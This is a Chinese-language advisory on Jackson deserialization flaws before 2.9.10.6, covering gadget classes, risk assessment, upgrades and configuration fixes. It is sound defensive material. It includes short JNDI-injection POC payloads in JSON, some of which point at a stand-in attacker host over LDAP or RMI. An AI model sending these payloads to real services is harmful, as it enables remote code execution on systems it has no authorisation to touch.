Jackson反序列化漏洞:2.9.10.6版本以前
字数 1317 2025-08-15 21:31:52
Jackson反序列化漏洞分析及防护指南
漏洞概述
Jackson是一个流行的Java JSON处理库,在2.9.10.6版本之前存在反序列化漏洞,可能导致远程代码执行(RCE)。该漏洞主要影响开启了enableDefaultTyping配置的Jackson实例。
漏洞原理
Jackson反序列化漏洞属于"不安全反序列化"类型,攻击者通过构造特殊的JSON数据,利用Jackson的多态类型处理机制,触发Java反序列化过程中的恶意代码执行。
关键因素
- enableDefaultTyping开启:这是漏洞利用的必要条件,该配置允许JSON指定要反序列化的Java类型
- 存在可利用的Gadget链:特定的类组合能够被用来构造攻击链
受影响版本
Jackson库2.9.10.6之前的所有版本
漏洞利用分析
补丁分析
2.9.10.6版本的补丁主要通过增加黑名单来防护,禁止反序列化某些已知的危险类。
已知可利用的Gadget
-
br.com.anteros.dbcp.AnterosDBCPDataSource
- Maven引用次数:较少
- POC示例:
["br.com.anteros.dbcp.AnterosDBCPDataSource", {"metricRegistry":"ldap://attacker.com:1399/test"}]
-
com.pastdev.httpcomponents.configuration.JndiConfiguration
- Maven引用次数:较少
- POC示例:
["com.pastdev.httpcomponents.configuration.JndiConfiguration", "ldap://attacker.com:1399/test"]
-
com.nqadmin.rowset.JdbcRowSetImpl
- Maven引用次数:较少
- POC示例:
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]
-
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl
- Maven引用次数:较少
- 注意:由于类中存在重名函数,实际利用会失败
漏洞利用条件
- Jackson版本低于2.9.10.6
- 配置中启用了
enableDefaultTyping - 类路径中存在可利用的Gadget类
漏洞实际影响评估
- enableDefaultTyping默认关闭:Jackson早已默认关闭此配置,降低了风险
- Gadget类罕见:可利用的Gadget类在常见项目中引用较少
- 实际风险较低:需要特定条件组合才能利用
防护措施
立即措施
- 升级Jackson版本:至少升级到2.9.10.6或更高版本
- 禁用enableDefaultTyping:如无必要,不应启用此配置
长期防护策略
- 使用白名单机制:替代黑名单,只允许反序列化已知安全的类
- 实施输入验证:对所有反序列化的JSON数据进行严格验证
- 使用最新稳定版:定期更新Jackson到最新稳定版本
检测方法
- 版本检查:确认项目中使用的Jackson版本
- 配置检查:检查是否启用了
enableDefaultTyping - POC测试:使用提供的POC在测试环境中验证漏洞是否存在
总结
Jackson反序列化漏洞虽然理论上有风险,但由于利用条件较为苛刻(需要特定配置和罕见依赖),实际风险较低。建议开发者:
- 升级到2.9.10.6或更高版本
- 避免启用
enableDefaultTyping - 定期检查项目依赖和配置
对于安全要求较高的系统,建议实施更严格的反序列化防护措施,如完全禁用多态类型绑定或实施自定义的反序列化器。